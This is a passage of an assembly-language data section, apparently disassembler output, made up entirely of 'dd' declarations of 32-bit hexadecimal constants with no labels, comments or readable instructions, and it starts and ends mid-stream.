0D0BA079Ch, 607B24AEh dd 0E7EC4D25h, 0AB108574h, 8A002373h, 59DC964h, 0CA09C84Bh dd 43C1E18h, 8B1A4B9h, 23344C96h, 0BA9DEA08h, 287CE080h dd 5CD0BC11h, 1507BE46h, 0A9658688h, 9E0D865Fh, 12B5F0B9h dd 0B47B4211h, 0E49429A0h, 80257288h, 0FD7F70A3h, 0AB1FDB38h dd 5B860F5h, 900B7C83h, 2808A4h, 76EDA807h, 49F01E9Fh dd 0C41C5600h, 0B5CBABF1h, 87D09412h, 0C007DB7Bh, 1B0854A5h dd 4315AEF0h, 71FC22A0h, 654BB4B6h, 62BAE4A4h, 54D195h dd 6B63FCB3h, 0EC1CD341h, 5C03BBBh, 414C17Bh, 0D21BE644h dd 81248478h, 5085031Ch, 57E23A90h, 0D3048FEEh, 65CEFE69h dd 5A0724B0h, 26849E5h, 0CE01D068h, 87839C00h, 77D61594h dd 13EE4FDh, 56AA220Ch, 417528BCh, 68E9F9D8h, 89132F84h dd 0C4D0C5BCh, 0B60D61BBh, 0F421747Ch, 0B42C2A3Dh, 99860330h dd 149DEEh, 11E8D977h, 8C99E55Bh, 98DC7525h, 0A6D27B0Ch dd 164B009Ch, 0BE6BD8E5h, 1000D04Fh, 289883C0h, 2507D423h dd 0D011EB8Ah, 3C48E817h, 0C88DE912h, 7E745E03h, 14800278h dd 0AEEE2C08h, 7BEAB860h, 22240B4Ch, 30CEF021h, 0F690DD01h dd 19C02473h, 0E086E22h, 53330266h, 110A5527h, 465C505Eh dd 716B02BBh, 0F2899D9Ah, 48310908h, 0B8017BACh, 0F6A0074Eh dd 19EF4C68h, 7A29B060h, 41C0402Fh, 0E854EAACh, 3BC0972Dh dd 280F0146h, 0A02C0413h, 993FCC38h, 2F7C225Ah, 5E9EE213h dd 4312BA54h, 0EEA4A080h, 4CA0A328h, 0ADCD896h, 84B46802h dd 0AC5408C8h, 46748824h, 2D5801A0h, 1C340406h, 0C139064h dd 988F7C7Bh, 0B600A329h, 276C4C64h, 13F312Bh, 0D5DC391Eh dd 3AA98704h, 0F89A6013h, 5F9BCCC0h, 0F1225EBh, 48C3B9D0h dd 0C4790097h, 0F593E2B4h, 521D8A4Eh, 3CC1383Fh, 8F56A5ECh dd 0E702B469h, 1C69689Bh, 36298C0h, 0B8AF7112h, 7A0760F3h dd 4A6A31Ah, 6CB093E0h, 2C054006h, 60F83994h, 20A55050h dd 1490A318h, 5C14FE90h, 9B09645h, 0E39A017h, 2CA4966h dd 5F8D1B8h, 0C88C26Bh, 0DF849C5Eh, 20A20787h, 3631A3F2h dd 2984D028h, 1234A9FCh, 0B42019B5h, 6998174Ch, 0F453C8B1h dd 90DBED70h, 3BB0F610h, 0F8D305FEh, 0AACFF617h, 0F2322200h dd 6B3F67h, 9B5885B2h, 0A7EBB348h, 85D3009h, 0D134D9FEh dd 10F18C0h, 0BB97D14Eh, 0C22A6CBCh, 144634E6h, 33934072h dd 0C304827h, 40701830h, 0C94A26BBh, 2A1FB082h, 0A7467484h dd 20430100h, 5EF962C6h, 9F24EF90h, 9E104C4Ch, 880BB512h dd 5C14049Ch, 2EF83FF0h, 4674C42Eh, 53AC0337h, 0C8D96B3Ah dd 0CF63CD8h, 99EBFF23h, 20192F70h, 4F08D50h, 1A3812C7h dd 88508BE5h, 0DB8CC18Eh, 0BCF6C40Ch, 0E00B6402h, 51430838h dd 80FB9124h, 0A3E869D7h, 80969DE7h, 69CF6000h, 590A6A5Ch dd 54CCB84Dh, 250C858h, 5D8A0FEBh, 2C607C5Bh, 42804198h dd 0FD38A922h, 6908D918h, 70F7A3EAh, 6900D162h, 7FC5F001h dd 2008A4B3h, 6D15A3B8h, 29946810h, 34D9681Ch, 6004F18h dd 0B729D5B0h, 4A9A0773h, 856841AAh, 4C5463h, 0DDB243Ah dd 0C9031833h, 88380B78h, 2A7CC12Fh, 7EBC2907h, 90184811h dd 80C0328h, 97A047A7h, 75C1A02h, 0CCDA74h, 60AF3334h dd 0C4EC182Bh, 0E172AA01h, 0C24CB0B3h, 2EEC6005h, 0C7E6696Eh dd 60294300h, 7B469AE1h, 0EC85B71Ch, 0A7448296h, 80C0320h dd 783A4CE8h, 202A0512h, 35A01318h, 716849Ah, 405F462Ch dd 41339E0Ch, 4AD90BD7h, 0BCC5E5DEh, 8C608FC4h, 0B4CB657h dd 5437C278h, 0D970F18Fh, 9718C3h, 18405938h, 54F262E7h dd 7B839A17h, 96C854CBh, 0F44201C0h, 9C8D0097h, 77F164CEh dd 944F47D0h, 4DF5C4C8h, 0D4ED9021h, 4703A523h, 4AA41B1h dd 0D8813D83h, 806C699Dh, 0BE3F81Dh, 2927DCF7h, 0D6981609h dd 4494C808h, 72E67600h, 350CAF7Fh, 0CC38EDE5h, 80A00325h dd 0C8F9F5ABh, 6D2D0700h, 303E6EFCh, 12313AAh, 16D882B2h dd 5B9054h, 27DBAA70h, 0BCADAC6Dh, 0FFD5E403h, 0E0544766h dd 0C0508A0Ah, 44031B39h, 88B94E10h, 0D017D760h, 13A4A1ABh dd 41727070h, 806C43B2h, 70300A4h, 0FC7B8Ch, 67AF3478h dd 38A3E10Fh, 1498BC24h, 70A50414h, 0F588A09Fh, 6394A813h dd 0AB6240ACh, 0FED07102h, 710779E2h, 0E44207DCh, 143B904Ch dd 0C9014DEEh, 8EE5D413h, 0AAECF1D5h, 0F010017Fh, 0DB084BA5h dd 80707C7Ah, 1D6F52F3h, 0A32C0017h, 0C047405Ch, 4901D001h dd 9D13EF3Ch, 5C3E6473h, 15D4C0D8h, 0A20BBBBCh, 12DE940Ch dd 0EC348CD9h, 0CD2209A3h, 0ECD0067Ch, 39B76332h, 4644C10Eh dd 18789C8h, 0FDAE243Eh, 0CC93AFD7h, 8B1531B0h, 0AC8404h dd 6AE17013h, 12BBCFF4h, 423062C7h, 72EC063Ch, 9644D447h dd 0D3602E67h, 0A2A57D38h, 0A45C4276h, 1884598Ch, 0EC1016EAh dd 19EB803Bh, 82D4302Dh, 548406E4h, 0A7E74088h, 99007027h dd 0A1EF4508h, 1DE66D66h, 814BBFE9h, 376C3C31h, 36093DBh dd 0E17B84C0h, 52E97260h, 0A900C062h, 81FF419Dh, 400179E8h dd 0D45CC3FAh, 0E870E9BCh, 0BC179D77h, 0C381A391h, 2F54B5D4h dd 0B8F54312h, 0F0FCF8h, 0B7349D23h, 0CB086E66h, 4659E013h dd 11423702h, 3BE45A74h, 2D00C622h, 2E706715h, 543DF917h dd 79528178h, 61648059h, 2F5B6C28h, 0BF2374h, 38AA73A9h dd 1502F93Ch, 0DFB29F77h, 7445A02h, 737827D7h, 0AE927712h dd 0BC40A809h, 4818102Fh, 2C1986A3h, 402184BBh, 0E1181F8Eh dd 127BE408h, 0F0B437E1h dd 27AFA051h, 5CC96E5Ah, 47721430h, 0C42E92B2h, 0EB009523h dd 0ED0F63B6h, 0B7A92408h, 535E0208h, 6C40CC72h, 0D75ADC78h dd 0DA7B6823h, 80A47C3Ch, 14639BDAh, 0CA003A18h, 0F3D6EC05h dd 0F92DBEFCh, 0E000443Dh, 1D708154h, 8F26696Bh, 2D003547h dd 0DE11731Ah, 0F6CD0550h, 0DA9035DFh, 0C03288A8h, 94807CF6h dd 0CC40C8B6h, 0ECBA3Ah, 0A9602137h, 0D4A8D399h, 83E61B09h dd 4F441816h, 11620366h, 86ADBA9Bh, 248418C0h, 39B94607h dd 0E1105BEh, 182C7FDFh, 8CC3BCh, 0ADFCBE0Ch, 148F5AD0h dd 7439A116h, 0E76B8490h, 244507B3h, 0B2EA7DA8h, 64031E1h dd 0EC2F0843h, 6534A002h, 7F04750h, 7AF77C03h, 2D0D0090h dd 1827326Fh, 75A46074h, 4D280873h, 9C00DEC4h, 0D5768864h dd 3E90917Ch, 374BDD02h, 3C40A7C4h, 4F0015FEh, 9D4A0C94h dd 812843h, 95C9CB69h, 0A1541744h, 802728CFh, 61A7D7Ch dd 7452069Ch, 1897A3C0h, 4323300Bh, 0E0388299h, 0BF2F018Eh dd 5531DC35h, 0AB669E00h, 4C4B9BF0h, 769C00BCh, 7A1A2773h dd 0D6550FB6h, 0F938C988h, 0B740A8B8h, 0E0F9E600h, 4EF4A4AFh dd 1CF80017h, 5DADAE0Fh, 1E0019D2h, 0DB01385h, 0F15853h dd 8780F5BCh, 0A56193AEh, 1EB93D3Ah, 0E08515C6h, 1C80C885h dd 0D8905CD2h, 280A6010h, 6C2E5B00h, 4DD8E85Ah, 19EC01FDh dd 75DF2BE4h, 0DB2986DDh, 0F090E7FEh, 0A63D005Dh, 61F34668h dd 8B0FEB9Ch, 0A65B7423h, 19568Eh, 0DDFBBA94h, 0E36BDF2Ch dd 465949CEh, 5CA8E06Ch, 6400D065h, 502BC2Fh, 0F0036823h dd 2E6D5B33h, 148766Fh, 59A8168Ah, 81D6D4F1h, 4E72AF38h dd 0A8801361h, 0D9F74002h, 0CC61C5D0h, 0DC11A020h, 0F4A7180h dd 0F42859A5h, 3B466200h, 1423384Dh, 706D06F6h, 4805B95Eh dd 0FB652C0Eh, 804F0E5Ch, 0FCD408DBh, 0EB8F006Bh, 0E3243B9Fh dd 30003DB8h, 1D9E894Eh, 635487FAh, 512B11C2h, 0E53930E4h dd 0D04122B5h, 0B3FA3A0Ch, 0AF44130h, 0F56AADE1h, 46186104h dd 710810Fh, 0D61CBDAEh, 7BC100D2h, 6701292Dh, 5EF08E82h dd 0F2D18BFAh, 0E3144180h, 5341A2Eh, 16517660h, 0ABFEA26h dd 8A104A0Bh, 8EC500EEh, 62FF4D4h, 0A0296E6Fh, 0F394952Ah dd 0BAB60CA0h, 7E0830EBh, 0A2ACA9C1h, 3F308195h, 0BC73005Dh dd 0CB8037A4h, 77009A94h, 0E4B51E7Bh, 0A69BDCCh, 0EA1104ADh dd 67873E6Ch, 8184A479h, 80B38AA2h, 0B1C84D19h, 0CE524FFh dd 0AD2DD650h, 69614108h, 0B1C04E20h, 632CCCh, 7F3F39C4h dd 60F1CAC9h, 16596503h, 0FDF7E7Ah, 536D9969h, 61A587A6h dd 5D230F00h, 0D515EE36h, 7A1414E9h, 92001870h, 0E8B82B98h dd 0E9C07D04h, 30D148Ch, 0A3C60051h, 0D85E9211h, 0C900A27Bh dd 79FBC1A6h, 146E3967h, 0A40F756Bh, 2D012423h, 28F37B95h dd 898B8218h, 51D895A1h, 9346055Eh, 215565CAh, 0C329A688h dd 0B9409886h, 0F959C077h, 0E08C607Ah, 63D34D00h, 5837B68h dd 857300CBh, 14BA20DEh, 7C307ADCh, 8D37E1E2h, 1F0906EDh dd 194DEFA7h, 21DE1830h, 98A11606h, 5B58957Eh, 900A07E2h dd 0E0159B77h, 8178B0B9h, 0CC4484h, 557718D6h, 698945FFh dd 1BD5530Ch, 30F051A5h, 0CA316D39h, 81C12DA1h, 8AEFA6ECh dd 0DBA09B13h, 7892F14Fh, 73385501h, 5A267BC5h, 0CC16C920h dd 3321E908h, 0BA733000h, 0D0BED372h, 4EAB199Bh, 100DA8AEh dd 93A56A83h, 0B1C1012Ch, 18AD2538h, 0B7ED8854h, 0B0C2B100h dd 61669010h, 0A41B48A1h, 8B825783h, 0C1242B90h, 0F7AA9600h dd 0AEC30CB9h, 2D1B30B0h, 0F8A70129h, 0C2A9F263h, 0EFF6C1CDh dd 0E68011BBh, 0FEFC93BAh, 0F3096432h, 2ABD38F0h, 31111C04h dd 96952C80h, 448C30F3h, 0A401AA85h, 535DDA95h, 0D060324Ah dd 27910023h, 7213781Bh, 0A65454FAh, 790E8D80h, 0EF988BCAh dd 6B0423B3h, 534815F0h, 2300C461h, 0F9134BE0h, 0CC00A919h dd 266276B5h, 0A7D1B0Ah, 97CE98DBh, 0ABD12E0h, 64E07820h dd 733A60DDh, 167B21C3h, 733235C0h, 9D330043h, 4112EF0Fh dd 0FD81CBAFh, 48CA00Ch, 252DB1C2h, 0A963B5h, 0B1BCEC21h dd 6F782928h, 58AE891h, 3864B0F7h, 97952960h, 0CC88F321h dd 7800956Eh, 75A251E6h, 30D2363Ch, 0EC217C05h, 39002050h dd 16D53568h, 0D747EBh, 0A2270D9Ah, 8D71DAC3h, 7C782F04h dd 0E0C8B2FCh, 96028CBAh, 0FA67282Dh, 10F8198Bh, 12EDE21h dd 8CD2EDFCh, 4CB59B83h, 48C2C90h, 2501B1C6h, 209CCED5h dd 4CE8F8h, 80D7F12Ah, 0B65193D2h, 0DDC7F400h, 8DFD4ED3h dd 0BCF61298h, 841C237Dh, 57CBCDD8h, 9BE86404h, 0D88E6C5Ah dd 30E26284h, 7BB165A4h, 0A1FE240Bh, 0E0160820h, 12445428h dd 0EEED37A6h, 5F62C559h, 1F900294h, 6C423F18h, 0E811389Dh dd 0DE20488Eh, 97379C7Fh, 49EF8B15h, 48C7128h, 7BC6732Dh dd 4C00642Eh, 0FF732536h, 0B9F30035h, 920DB7A2h, 0F0541BBAh dd 0C6FAA6DCh, 17D2C200h, 59E4309Dh, 77F62Fh, 0CADF6067h dd 8507D25h, 0F2790891h, 142CDC18h, 0A64CC405h, 0CF940054h dd 21CC0839h, 0CB00BAEAh, 0AAC4B67Eh, 1E2502F1h, 4B396BA7h dd 5017D5A0h, 85808791h, 3141F671h, 0F55E1C03h, 232A8C5Fh dd 9401BCC0h, 0EA672E2Dh, 1F88E518h, 22AFEDCh, 9A8F6C55h dd 0BCB0E8E2h, 0C80872FBh, 6459FE7Bh, 333C40EDh, 1E573h dd 923EBC89h, 9E667C67h, 24DCE229h, 0C4733705h, 0E06241C4h dd 2F3021F4h, 0DE7EDC73h, 3528012Eh, 54437700h, 60EAA702h dd 588F29F0h, 0A200166Dh, 93C5675Dh, 0C87BD09Fh, 0FCC1E7B8h dd 6F5C972h, 0AC223849h, 73342F01h, 53E91B92h, 0B5EFC884h dd 0CB3381D7h, 15742365h, 3CC7104h, 5F4D51CEh, 0A6FFF89Bh dd 71FC61EAh, 85AC70FAh, 8ECB8D31h, 42CC8414h, 30EBF2A8h dd 3F4CC274h, 0E52206B7h, 21486FD0h, 180527Eh, 0E7BCA73h dd 80CCA55Ah, 2B733932h, 0DF5C478Ch, 0D16B3200h, 26B4458Dh dd 3100D6F4h, 1BF8D212h, 12B90C35h, 935665CCh, 0BFE8B424h dd 6098CE88h, 502DF02Eh, 0FE5343h, 9F97D349h, 4F772E1Dh dd 6C4C4101h, 37D4EF91h, 9E229462h, 9440044Ah, 6493B1F4h dd 0D788007Fh, 36EADC59h, 9E4C3BB7h, 8CEDBC18h, 0B046803h dd 0B3140E6Eh, 18A3E439h, 4F3085E2h, 0C4740001h, 8DF66C56h dd 21C07F05h, 3BA9A0B5h, 0F0B700C2h, 0EBD91CC6h, 0AF01F9E0h dd 0A03DE688h, 0FC639497h, 2FCFA301h, 0CC85C295h, 0D000D6B5h dd 6DCEEB5Ch, 9602D9Bh, 9ACA2CC8h, 390094B7h, 5F1748CEh dd 92C104CBh, 40DE1CCAh, 0E4DFB52Fh, 0CD7F1DFFh, 72118022h dd 4676F12Bh, 945D9329h, 0CC0758A2h, 1D9B9C22h, 246876C0h dd 576B006Dh, 0DD537152h, 18122BF2h, 382F9E2Eh, 0EF00EE23h dd 0A8FA9FB8h, 7DB0041Fh, 41DF7279h, 0F7538E92h, 42573182h dd 0D080F130h, 76B75582h, 8B71CC00h, 8CA8D9Ah, 0A5610556h dd 910F73D3h, 567E268h, 55C850CBh, 0D9A658C0h, 0AEF001F3h dd 39A9FF67h, 7C61BBA4h, 9C7CDE49h, 0F9577D00h, 44B8BE4h dd 4FB4919h, 6334906Ch, 3C99C0B7h, 8C2A0A00h, 0ADA90D9h dd 73615CF8h, 30239EBCh, 4C19CF51h, 987FB20Eh, 5D44818Bh dd 298070C1h, 37C62CA5h, 0E8ED7D7Eh, 0D405FC3Ch, 66F3F564h dd 9781E434h, 0AFD1AE5Ch, 24EF8AF8h, 9C477F3h, 70C506BAh dd 0C363E5C4h, 93C1DD80h, 2B43F496h, 0AF4BC8B5h, 95F00E2h dd 0B173C955h, 0F0F43023h dd 0CCCDE700h, 93C36D84h, 393260F1h, 0A2795FADh, 0F3B30513h dd 442C88Eh, 6FF7B0FFh, 78CD589Eh, 0CC15C00h, 0F30F81E9h dd 0D261DEF8h, 0C239A318h, 0FBBE00D2h, 9500C59Ah, 1D85EA14h dd 188EF3F9h, 59E87879h, 3E69801h, 75AA5700h, 0EB8D1672h dd 88B500F0h, 0DE0938C6h, 89C0FB4Fh, 28E2E73Fh, 0A2420964h dd 0B10014B0h, 0B7012A26h, 0C7572000h, 9B7E720Eh, 78836075h dd 621CEF90h, 780CF490h, 189EC16Bh, 7B3B06B6h, 1094E153h dd 64EE240Ch, 167E2835h, 40AB04DCh, 0DAC2796Ch, 0BF7CF6E7h dd 0B866E9C2h, 0D57CA0EDh, 13902D80h, 4037C96Bh, 3465558Ch dd 0A1C6A84h, 6019B6D9h, 78F82761h, 1C76076Fh, 318DFAEh dd 5DAB9C73h, 0B08049EAh, 82643B61h, 43BC0F50h, 77F0D340h dd 43C8AA32h, 4A9CF15Fh, 2A399085h, 53BC05E8h, 151C9004h dd 0A3030237h, 0E5D96E65h, 0AF4DD059h, 0B7DD0007h, 53D0E764h dd 8B005584h, 0BB4F462Bh, 5A99813h, 0A78E01C9h, 175BC0B3h dd 907C68EEh, 0E71881F1h, 5F46F174h, 1020BCE2h, 7246E08h dd 0EBF148Bh, 0A0825443h, 31E504Bh, 0C811CD86h, 0B2E18C1Ah dd 7B52FC3Ch, 0EB3A4700h, 640A1402h, 980E43C2h, 41EAFA81h dd 9314082Ah, 3005BE98h, 0DFA2059h, 4DAD16C0h, 5AB8CFh dd 0F7118ECAh, 0BE10C38Bh, 3384190Ah, 84C3491h, 0B380A84Eh dd 0B4AE4670h, 0EF00A03Eh, 0F570A493h, 0C60249E8h, 0C4CE3422h dd 0F8E845E6h, 1163DB18h, 0AD8F0910h, 23EB0A0h, 0D3B78CA9h dd 54404A26h, 0FB5CA818h, 0B2063F1Ch, 132A2912h, 542447E2h dd 29BB1925h, 44490816h, 2284403Dh, 24217FEh, 214C1011h dd 19D4086Ch, 0DF84EE90h, 8615C4Fh, 0DA911A8Fh, 99C50200h dd 85374FBh, 6BE5DE00h, 460CF7Fh, 2F47526h, 0C8BC9E6Eh dd 0CC81A180h, 0FCE2D8FBh, 64004B75h, 0EEC90C7Ch, 5E98EDh dd 8E41E9CDh, 0B73D8C68h, 0DE92AC2Ch, 6EF53300h, 0F277F6h dd 25CD2B90h, 3B68C75Bh, 47912200h, 1C6776AFh, 15142849h dd 746900C1h, 940E1FD6h, 7B00CC2Ch, 551EB43h, 2EB3337Eh dd 0E504D9h, 6A4B49E7h, 5C7692EEh, 454DCF1Ch, 37773C00h dd 0F95E96B1h, 90DB22D5h, 626CFDh, 0A771D2EDh, 8026387Ah dd 5B24D903h, 0E64A39h, 0AFD26241h, 0B9EDDF22h, 0FE87A00Eh dd 0CB1000A5h, 3EB0D6BDh, 0B79D8A6Ah, 0FBA4C03Dh, 8372CC2Ah dd 0F4603Dh, 18C328DFh, 9D1A2Eh, 0D37C8C15h, 73A59E47h dd 8FB21E18h, 254C19h, 4F6801BBh, 3EA27AFCh, 0B114AF05h dd 0DDC0F0DDh, 0A06D6h, 0C29C9A36h, 63FAE946h, 4C448B00h dd 0D93FCFC5h, 0E1EF252Ah, 8FBA7E0h, 0E32D1701h, 9589C756h dd 735067D0h, 0A13F0980h, 90A7ADEBh, 5D2FE07Eh, 0D200F138h dd 8A0DD088h, 2E83C33h, 204556D4h, 0D8A0BB6Ch, 1F99B837h dd 0F3DF8600h, 0C2AF9D13h, 303600DDh, 0BBE1564Ah, 0B500AE05h dd 9DB6E4D2h, 0E69942Ch, 0BF7B4DB8h, 102BA0E1h, 339A92B3h dd 0AF4C18C0h, 0AB571EE7h, 2E074052h, 156E6CCCh, 45D7B000h dd 19944B53h, 0E3F318DEh, 0D3DD6007h, 0BD4FC000h, 55EC6138h dd 14E20354h, 910A138Dh, 3CAA9A88h, 7EF0EB60h, 5DF5B1h dd 398C1466h, 1ADD088Eh, 0C90000B2h, 86B7D4A2h, 0E32FFCh dd 36BD3BC3h, 960FDE63h, 6460991Fh, 40B3BA40h, 4624A89h dd 47FD9485h, 661C8018h, 1D00AA7Dh, 119F4558h, 7274EBh dd 0D48D03E7h, 9C54F990h, 26008B70h, 2376180Bh, 1CA8160Eh dd 5DFBDA60h, 73A94695h, 780050B5h, 481065CAh, 415867h dd 0FF23B4EEh, 99274557h, 0EF6B0301h, 5F89CE95h, 0AD4820h dd 0D7DBF118h, 3342C7E5h, 2E1EA803h, 0A9922230h, 4981594Eh dd 5817E3C1h, 0CE16D04Dh, 87FC2900h, 0F0FBF2C3h, 2F6600F8h dd 1E37789Eh, 4D787FCFh, 6318D00Eh, 7364E465h, 35BB1C80h dd 5A940060h, 0D4FD6FA6h, 7507141Fh, 3385919Eh, 0AC1D0A10h dd 0AAB80036h, 0A28BE098h, 579CA0Ch, 7C318900h, 0F2CD2D2Fh dd 0D54C00DDh, 4DB90A83h, 252618C7h, 2CC01478h, 3221799h dd 0A846290Dh, 3EC84875h, 16002326h, 0B79F9101h, 340242h dd 5D3CD229h, 0C8B804B9h, 50D4A724h, 8852B00h, 0D5F353h dd 0A61C4DB6h, 19CED6DBh, 0B1F84890h, 11FE040h, 4470F2A3h dd 0DCB6DD2Ah, 170EBCFDh, 6024113Bh, 0E42DD850h, 3A5C2A70h dd 8DC212E8h, 429803D2h, 80ACD801h, 0BBC64B7Fh, 51F3B400h dd 8B284676h, 24E012h, 61B263F7h, 0DBA49894h, 9B0322F6h dd 6ADFC3A8h, 0C660B045h, 0E20A003Ch, 0F3AB884Eh, 7500E95Bh dd 0A1E09F94h, 57E48h, 760722D5h, 6E7F999Dh, 462C3000h dd 44C74F84h, 14BC85h, 0B752CD66h, 0C61DAA8Bh, 3D401232h dd 0B1A087CBh, 36380058h, 982FDC27h, 0FA13251Bh, 0C03949Ah dd 88D4097Dh, 428304h, 0E1E8801Ah, 2264ED10h, 3600B676h dd 8EE5BD43h, 0A0CE4EF4h, 28846BD8h, 588D3B1h, 0BBE9A898h dd 4870C072h, 0C80093E4h, 4C29D5DEh, 0B62B19h, 8C956923h dd 10420274h, 9676AD13h, 0B9EF4C70h, 6A0C014Ch, 0AE4B203Dh dd 639EF403h, 0B580CE03h, 0D03C2CA5h, 23628ACh, 0FFD613D7h dd 2860100Eh, 0E498972Dh, 6B67C913h, 45EB4800h, 0AE32C7h dd 381CACA2h, 6110CC01h, 9CAAE4EFh, 71003F7Dh, 52E264D2h dd 8B1875h, 2844FA33h, 0A7D34B9Fh, 45950C03h, 0E0F81B60h dd 0EC58Eh, 333A083Ch, 50B67AC0h, 9DCE2B00h, 0EF70536Bh dd 0B7CF0779h, 0F2B1497Bh, 1CD88CB2h, 5781C500h, 0D11238D7h dd 27AC00AAh, 20238B43h, 970F9FF9h, 2588723Ah, 0E82053CCh dd 31C63Fh, 0D440900Fh, 44B4BA86h, 0AC993205h, 0C4809A85h dd 0A49B72F1h, 3BF0A8h, 6AAEE2F6h, 0D4D03F8Dh, 6079900h dd 0CBD7547Fh, 0C2DC0753h, 70BDCAF3h, 0A3BF80E3h, 0FF9890Fh dd 313D811Eh, 2E60C364h, 0E0270068h, 9BF7D360h, 5890A86Ch dd 0EDD57E00h, 58A69EDCh, 22FEF4h, 3C8F55E0h, 0C8A90C84h dd 3256C001h, 6236B9DAh, 0D4109C40h, 29AD1F40h, 0ECA6C035h dd 53448676h, 501C8300h, 2DC65513h, 3F8E03F8h, 3614899Eh dd 6FBCADB9h, 0DBEB6E00h, 0BDFFB8h, 0D3E95F12h, 403FD159h dd 0E6EEBB00h, 7BDA7004h, 0D27AAFh, 0D79B65Eh, 8F357820h dd 0B4A54E02h, 63CF0613h, 0DC3FE0ECh, 2E789872h, 1E75AB43h dd 8BB8E4C2h, 1E848096h, 9B74C008h, 23002984h, 12A632FEh dd 77BE07C8h, 347B2E82h, 0CBF60199h, 846855A3h, 0D0A9DC6h dd 9C3F78C0h, 5898A8h, 0AF4AE41Bh, 0D49136A5h, 10E02826h dd 7E67AA07h, 1792C000h, 0FF550070h, 0A8B52D21h, 7B17D441h dd 0B70E64B1h, 0B1EE0FBh, 0ADFC293h, 4F7840CDh, 870C0074h dd 0E1A29088h, 0CD435717h, 0F25A5003h, 6CE085B9h, 0E4214DBFh dd 3983930Eh, 0B1180920h, 2D007EA2h, 21F7871Fh, 0E59A4Eh dd 794474AEh, 0F1CE3847h, 0E0A5C030h, 6912957h, 3948E1DDh dd 0BB3EE995h, 81CC4C14h, 174CC6D4h, 0FFE31834h, 0FC2043DAh dd 2E3E2C80h, 0FDA700E8h, 68E3854h, 1E3E69E9h, 5015004Bh dd 0C405E578h, 51D202A2h, 0C1EDF064h, 619BB140h, 0B61D509Ah dd 5180B5ADh, 0A0276635h, 8E16031Bh, 73890712h, 5819D9D0h dd 0CB63A600h, 97C7C657h, 0DBF305E0h, 8837EB85h, 1900E5D8h dd 469EEA1Ch, 65905Dh, 0E104E3D3h, 5539B4C5h, 0FF1BBD00h dd 490CADA9h, 766D003Fh, 56AEC81Dh, 3900CD7Ch, 5879E921h dd 0C25703h, 0D33C09DBh dd 0AD9893FAh, 0D0AB5400h, 0E9EFF25Bh, 0A80714DFh, 9700C870h dd 1646B0E8h, 0C1034B5Ch, 72C4D151h, 0E760D77Ah, 2469C0DEh dd 97325Fh, 0F243FC3Eh, 0B80F86BFh, 0A00D7788h, 0A6E8F1FFh dd 51120929h, 8080FECDh, 2AEADC83h, 6479AE0Fh, 90B32553h dd 4300C85Eh, 232B4196h, 0F54700E5h, 0A6B32F1Fh, 0D04C4D67h dd 3B051FECh, 2C91F0C1h, 8850FDE4h, 0B8E885B9h, 8F9700C5h dd 557F1E1Ch, 0E90360BBh, 6C0F95CFh, 0C99AC0F1h, 5F9B049Ch dd 801B7ADEh, 49D77874h, 0C4B05617h, 99ADD400h, 4C9DDBh dd 73FDBF31h, 0B5399C11h, 0BCACFA00h, 545D708Ch, 48CB0046h dd 25716EF4h, 68123DECh, 0C916BE6Ah, 49575482h, 1C20D6B0h dd 8D2D007Dh, 0EB18F702h, 4002643h, 385609DEh, 0EA7B4530h dd 52D728E1h, 3C940094h, 0DCF78B72h, 0EE00EB90h, 0F5D4834Ah dd 88A65Bh, 0E3A4DFB2h, 0A39BD6EFh, 0E262781Ch, 405F3F0Ch dd 2F2D0913h, 347880D1h, 235D8100h, 0F03FDE8Bh, 0CE0B0FD6h dd 74E0FFBDh, 34550E8Eh, 0CAF1F0Eh, 248AA32Ch, 81C000BFh dd 0DD2FE662h, 372E212Ah, 4000FC79h, 0FF6F8DA1h, 0D0A9013Dh dd 0BBEF49A8h, 0F69AFC98h, 0BAEE831Fh, 7C0D7140h, 58300Bh dd 24A789C4h, 22196F5Bh, 3B916303h, 0D09FA42Ch, 0A01DD6E2h dd 0CE9CC8h, 0B3F7FBE8h, 0AACDD4CAh, 2C7AA838h, 78287DC5h dd 7C984D50h, 780103F6h, 5EBE2A3Dh, 0ABF06085h, 0D07605B5h dd 0C013EE95h, 802C491h, 80D98E3Fh, 1AF65B21h, 265242Ch dd 153B5FB0h, 0E8C03A5Ah, 0BF1843A0h, 49282F8Ch, 0F0700E60h dd 0FF2042E7h, 0BA4E1ECDh, 6DF33E17h, 0A086550Eh, 0E1227CE9h dd 0ACBB1CB0h, 0D7A1C5EDh, 871D800Ah, 37784E77h, 0D6F23100h dd 56D14F3Ch, 0C0CB4A92h, 17458528h, 0CEF79700h, 0F46D6A8Ah dd 0E24B0002h, 5660B8E4h, 480031FEh, 8D16084Ah, 74D7711h dd 0CEF588FFh, 0F0935750h, 0EF05757Ah, 0DA6B580Bh, 0B1C00084h dd 3955B39h, 0B536713Bh, 96A14DAEh, 764860D8h, 9C8BAC00h dd 95FC9FC4h, 8C77C8h, 302315DAh, 0CCC244FEh, 56C5CE00h dd 51D487A0h, 398C9668h, 0D501DC3Bh, 0A13FEAF3h, 216F715Eh dd 0A0E6D21Ch, 0EF7CCE0Ch, 74240Bh, 41B7C794h, 1134B26Fh dd 400848h, 4C648085h, 1D546102h, 809C16D9h, 9086ADAEh dd 4458A201h, 66406037h, 5CE1Dh, 0E90FFA49h, 60E6CC2Ah dd 6434A900h, 3CC75A52h, 5C5B895h, 42C33FEBh, 760CC09Fh dd 980090A4h, 8FF14F04h, 22A61Eh, 0BA83D05Bh, 9475EA93h dd 57A7E701h, 0FAB1C71h, 97502082h, 26C0671Eh, 6000488Bh dd 3E7228FFh, 0FB7ACFh, 0B3E58CE4h, 0AF2A794Ch, 0B9457305h dd 0F40093CEh, 0D64E2C4Dh, 527980F1h, 0ECE30B00h, 6166806Ah dd 0F7370063h, 0BC9E70D8h, 23000A4Bh, 0DA243E44h, 7306E8h dd 17CCB51h, 84F1ECC4h, 69763C00h, 5F54E31Ch, 0B58340C9h dd 862577h, 0A820F001h, 813461E7h, 0D8022E00h, 0F9BBE2F7h dd 6A6E2EF6h, 54BA02E6h, 576230D1h, 49BCD460h, 0F200C090h dd 6EF1FAC9h, 4C958Ah, 2062CC4Bh, 0F527166Dh, 8FC8371Eh dd 71CB4E4h, 6C23E240h, 69D983h, 0DDB3133Ah, 44F277B9h dd 0CD387105h, 4980A064h, 8E3668h, 4596AA54h, 6A4A35BCh dd 1C002C90h, 0C4875CA8h, 0E15AF2h, 0DFA0F012h, 0E9EE6C9Ah dd 0B944C00Fh, 424CA792h, 0DACBE390h, 83100A5h, 446C67F2h dd 59757D9h, 18A4A280h, 89FF2ADDh, 0B60C02D8h, 749CE9F4h dd 5E007470h, 2EF9564Ch, 73D0DFh, 846B1A9h, 96BD581Fh dd 2571D4ECh, 